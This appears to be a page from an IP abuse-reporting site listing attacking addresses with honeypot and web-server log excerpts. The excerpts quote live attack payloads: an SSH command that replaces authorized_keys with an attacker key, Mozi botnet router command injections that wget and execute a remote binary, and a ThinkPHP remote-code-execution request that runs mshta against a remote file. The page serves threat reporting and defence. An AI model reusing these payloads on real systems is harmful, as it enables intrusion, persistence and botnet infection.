|
🇨🇳
82.157.197.21
|
|
82.157.197.21] Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd5 ...
show more
82.157.197.21] Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds
2025-05-07T07:49:30+0000 [cowrie.ssh.session.HoneyPotSSHSession#info] remote close
2025-05-07T07:49:30+0000 [cowrie.ssh.connection.CowrieSSHConnection#debug] got channel b'session' request
2025-05-07T07:49:30+0000 [cowrie.ssh.session.HoneyPotSSHSession#info] channel open
2025-05-07T07:49:30+0000 [twisted.conch.ssh.session#info] Executing command "b'cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~'"
show less
|
Brute-Force
SSH
|
|
🇧🇴
181.115.178.66
|
|
2025-05-05T15:53:20+0000 [HoneyPotSSHTransport,18530,181.115.178.66] Remote SSH version: SSH-2.0-lib ...
show more
2025-05-05T15:53:20+0000 [HoneyPotSSHTransport,18530,181.115.178.66] Remote SSH version: SSH-2.0-libssh_0.11.1
2025-05-05T15:53:20+0000 [HoneyPotSSHTransport,18530,181.115.178.66] SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb
2025-05-05T15:53:20+0000 [cowrie.ssh.transport.HoneyPotSSHTransport#debug] kex alg=b'curve25519-sha256' key alg=b'ssh-ed25519'
2025-05-05T15:53:20+0000 [cowrie.ssh.transport.HoneyPotSSHTransport#debug] outgoing: b'aes256-ctr' b'hmac-sha2-256' b'none'
2025-05-05T15:53:20+0000 [cowrie.ssh.transport.HoneyPotSSHTransport#debug] incoming: b'aes256-ctr' b'hmac-sha2-256' b'none'
2025-05-05T15:53:21+0000 [cowrie.ssh.transport.HoneyPotSSHTransport#debug] NEW KEYS
2025-05-05T15:53:21+0000 [cowrie.ssh.transport.HoneyPotSSHTransport#debug] starting service b'ssh-userauth'
2025-05-05T15:53:21+0000 [cowrie.ssh.userauth.HoneyPotSSHUserAuthServer#debug] b'manage' trying auth b'password'
show less
|
Brute-Force
SSH
|
|
🇭🇰
154.92.19.175
|
|
2025-05-05T15:49:03+0000 [SSHChannel session (17) on SSHService b'ssh-connection' on HoneyPotSSHTran ...
show more
2025-05-05T15:49:03+0000 [SSHChannel session (17) on SSHService b'ssh-connection' on HoneyPotSSHTransport,18525,154.92.19.175] CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
2025-05-05T15:49:03+0000 [SSHChannel session (17) on SSHService b'ssh-connection' on HoneyPotSSHTransport,18525,154.92.19.175] Command found: awk FNR == 2 {print $2;}
2025-05-05T15:49:03+0000 [SSHChannel session (17) on SSHService b'ssh-connection' on HoneyPotSSHTransport,18525,154.92.19.175] Command found: head -n 2
2025-05-05T15:49:03+0000 [SSHChannel session (17) on SSHService b'ssh-connection' on HoneyPotSSHTransport,18525,154.92.19.175] Command found: df -h
2025-05-05T15:49:03+0000 [SSHChannel session (17) on SSHService b'ssh-connection' on HoneyPotSSHTransport,18525,154.92.19.175] Reading txtcmd from "src/cowrie/data/txtcmds/bin/df"
show less
|
Brute-Force
SSH
|
|
🇩🇪
207.180.250.146
|
|
honeypotted...ssh brute-force
|
Brute-Force
SSH
|
|
🇧🇬
194.141.251.115
|
|
spam, phishing, malware
|
Phishing
Phishing
Email Spam
Email Spam
|
|
🇬🇧
2a06:4880:4000::4a
|
|
active scans 2a06:4880::/32
LEN=64 TC=0 HOPLIMIT=249 FLOWLBL=874782 PROTO=TCP SPT=48296 DPT=8093
L ...
show more
active scans 2a06:4880::/32
LEN=64 TC=0 HOPLIMIT=249 FLOWLBL=874782 PROTO=TCP SPT=48296 DPT=8093
LEN=64 TC=0 HOPLIMIT=247 FLOWLBL=458111 PROTO=TCP SPT=50146 DPT=21248
show less
|
Port Scan
Spoofing
Brute-Force
|
|
🇺🇸
2600:3c01::f03c:93ff:fe80:a1b
|
|
LEN=60 TC=0 HOPLIMIT=45 FLOWLBL=127049 PROTO=TCP SPT=57839 DPT=2455
|
Port Scan
Brute-Force
|
|
🇩🇪
2001:678:2::53
|
|
LEN=72 TC=0 HOPLIMIT=59 FLOWLBL=0 PROTO=TCP SPT=53 DPT=54519
|
Port Scan
|
|
🇬🇧
13.40.98.131
|
|
ICMPv6 address spoofing
|
DNS Compromise
DNS Poisoning
Fraud Orders
DDoS Attack
Hacking
Brute-Force
|
|
🇬🇧
185.125.188.59
|
|
elf h2miner (malware) port 443/tcp
|
Hacking
Bad Web Bot
Web App Attack
|
|
🇩🇪
157.240.20.15
|
|
SRC=xxx.xxx.xxx.xxx DST=157.240.20.15 LEN=60 TOS=0x00 PREC=0x00 TTL=63 ID=1424 DF PROTO=TCP SPT=3926 ...
show more
SRC=xxx.xxx.xxx.xxx DST=157.240.20.15 LEN=60 TOS=0x00 PREC=0x00 TTL=63 ID=1424 DF PROTO=TCP SPT=39268 DPT=443 WINDOW=65535 RES=0x00 SYN URGP=0
show less
|
DNS Compromise
IoT Targeted
|
|
🇩🇪
157.240.20.19
|
|
SRC=xxx.xxx.xxx.xxx DST=157.240.20.15 LEN=60 TOS=0x00 PREC=0x00 TTL=63 ID=1424 DF PROTO=TCP SPT=3926 ...
show more
SRC=xxx.xxx.xxx.xxx DST=157.240.20.15 LEN=60 TOS=0x00 PREC=0x00 TTL=63 ID=1424 DF PROTO=TCP SPT=39268 DPT=443 WINDOW=65535 RES=0x00 SYN URGP=0
show less
|
DNS Compromise
IoT Targeted
|
|
95.132.254.211
|
|
Mozi.m botnet - [04/Jan/2021:03:30:52 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://95.132.254.211 ...
show more
Mozi.m botnet - [04/Jan/2021:03:30:52 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://95.132.254.211:43846/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 444 0 "-" "Hello, world"
show less
|
Port Scan
Exploited Host
|
|
116.68.99.106
|
|
Mozi.m botnet - [04/Jan/2021:09:53:17 +0200] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=r ...
show more
Mozi.m botnet - [04/Jan/2021:09:53:17 +0200] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://116.68.99.106:49943/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0" 404 146 "-" "-" "-"
show less
|
Port Scan
Exploited Host
|
|
113.206.53.156
|
|
[31/Dec/2020:02:04:45 +0100] "GET /phpmyadmin/ HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; WO ...
show more
[31/Dec/2020:02:04:45 +0100] "GET /phpmyadmin/ HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
show less
|
Port Scan
SQL Injection
Web App Attack
|
|
103.47.104.236
|
|
[31/Dec/2020:00:20:15 +0100] "GET /boaform/admin/formLogin?username=ec8&psd=ec8 HTTP/1.0" 444 0 "-" ...
show more
[31/Dec/2020:00:20:15 +0100] "GET /boaform/admin/formLogin?username=ec8&psd=ec8 HTTP/1.0" 444 0 "-" "-"
show less
|
Port Scan
Web App Attack
|
|
128.199.19.60
|
|
2020/12/31 08:31:26 [crit] 16748#16748: *1768 SSL_do_handshake() failed (SSL: error:141CF06C:SSL rou ...
show more
2020/12/31 08:31:26 [crit] 16748#16748: *1768 SSL_do_handshake() failed (SSL: error:141CF06C:SSL routines:tls_parse_ctos_key_share:bad key share) while SSL handshaking, client: 128.199.19.60, server: 0.0.0.0:443
show less
|
Port Scan
Web App Attack
|
|
59.99.188.72
|
|
[30/Dec/2020:09:30:59 +0100] "GET /boaform/admin/formLogin?username=user&psd=user HTTP/1.0" 444 0 "- ...
show more
[30/Dec/2020:09:30:59 +0100] "GET /boaform/admin/formLogin?username=user&psd=user HTTP/1.0" 444 0 "-" "-"
show less
|
Port Scan
Web App Attack
|
|
165.22.229.126
|
|
[30/Dec/2020:03:43:27 +0100] "GET /system_api.php HTTP/1.1" 400 650 "-" "Mozilla/5.0 (Windows NT 10. ...
show more
[30/Dec/2020:03:43:27 +0100] "GET /system_api.php HTTP/1.1" 400 650 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
show less
|
Port Scan
Brute-Force
Web App Attack
|
|
88.80.186.137
|
|
Dec 29 12:19:15 : FINAL_REJECT: IN=e OUT= MAC=02:00:17:06:14:00:00:00:17:27:cf:0e:08:00 SRC=88.80.18 ...
show more
Dec 29 12:19:15 : FINAL_REJECT: IN=e OUT= MAC=02:00:17:06:14:00:00:00:17:27:cf:0e:08:00 SRC=88.80.186.137 DST=x.x.x.x LEN=56 TOS=0x00 PREC=0x00 TTL=247 ID=4333 DF PROTO=UDP SPT=50999 DPT=53 LEN=36
show less
|
DNS Poisoning
Port Scan
Brute-Force
|
|
201.193.163.221
|
|
[29/Dec/2020:03:23:15 +0100] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWe ...
show more
[29/Dec/2020:03:23:15 +0100] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
show less
|
Port Scan
|
|
27.147.143.186
|
|
[29/Dec/2020:06:33:18 +0100] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleW ...
show more
[29/Dec/2020:06:33:18 +0100] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
show less
|
Port Scan
Brute-Force
|
|
222.86.205.92
|
|
[29/Dec/2020:07:42:01 +0100] "GET //public/index.php?s=index/%5Cthink%5Capp/invokefunction&function= ...
show more
[29/Dec/2020:07:42:01 +0100] "GET //public/index.php?s=index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=system&vars%5Bl%5D%5B%5D=mshta%20%20http://192.168.136.1:9814/123.hta HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
show less
|
Port Scan
Exploited Host
Web App Attack
|
|
54.205.191.137
|
|
Malware - blocked by dns over tls
|
DNS Compromise
Exploited Host
|
|
117.202.67.109
|
|
Mozi.m Botnet - [25/Dec/2020:05:09:25 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=r ...
show more
Mozi.m Botnet - [25/Dec/2020:05:09:25 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://117.202.67.109:59894/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0" 444 0 "-" "-"
show less
|
Port Scan
Exploited Host
Web App Attack
|